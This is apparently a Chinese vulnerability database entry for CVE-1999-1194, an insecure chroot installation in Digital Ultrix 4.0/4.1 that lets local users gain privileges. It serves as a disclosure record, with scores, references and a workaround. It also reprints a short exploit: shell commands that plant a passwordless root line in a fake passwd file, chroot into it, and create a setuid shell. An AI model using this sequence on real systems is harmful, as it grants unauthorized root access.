CVE-1999-1194
CVSS7.2
发布时间 :1991-05-01 00:00:00
修订时间 :2008-09-05 16:18:56
NMCOE    

[原文]chroot in Digital Ultrix 4.1 and 4.0 is insecurely installed, which allows local users to gain privileges.


[CNNVD]Digital Ultrix chroot提升特权漏洞(CNNVD-199105-001)

        Digital Ultrix 4.1和4.0版本中的chroot被不安全安装,本地用户可以提升特权。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:digital:ultrix:4.1
cpe:/o:digital:ultrix:4.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1194
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-1194
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199105-001
(官方数据源) CNNVD

- 其它链接及资源

http://www.cert.org/advisories/CA-1991-05.html
(VENDOR_ADVISORY)  CERT  CA-1991-05
http://xforce.iss.net/static/577.php
(VENDOR_ADVISORY)  XF  dec-chroot(577)
http://www.securityfocus.com/bid/17
(UNKNOWN)  BID  17

- 漏洞信息

Digital Ultrix chroot提升特权漏洞
高危 未知
1991-05-01 00:00:00 2005-05-02 00:00:00
本地  
        Digital Ultrix 4.1和4.0版本中的chroot被不安全安装,本地用户可以提升特权。

- 公告与补丁

        

- 漏洞信息 (19041)

Digital Ultrix 4.0/4.1 /usr/bin/chroot Vulnerability (EDBID:19041)
aix dos
1991-05-01 Verified
0 Anonymous
N/A [点击下载]
source: http://www.securityfocus.com/bid/17/info

By default, /usr/bin/chroot is improperly installed in Ultrix versions 4.0 and 4.1. Anyone can execute /usr/bin/chroot this can lead to system users to gain unauthorized privileges.

$ mkdir /tmp/etc
$ echo root::0:0::/:/bin/sh > /tmp/etc/passwd
$ mkdir /tmp/bin
$ cp /bin/sh /tmp/bin/sh
$ cp /bin/chmod /tmp/bin/chmod
$ chroot /tmp /bin/login

Then login as root with no password. chmod /tmp/bin/sh
to 4700, exit and run the suid /tmp/bin/sh.		

- 漏洞信息

885
Ultrix /usr/bin/chroot Local Privilege Escalation
Local Access Required Misconfiguration
Loss of Integrity Workaround
Exploit Public Uncoordinated Disclosure

- 漏洞描述

- 时间线

1991-05-01 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known upgrades or patches to correct this vulnerability. It is possible to temporarily work around the flaw by implementing the following workaround: Change the permission on the file '/usr/bin/chroot'

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站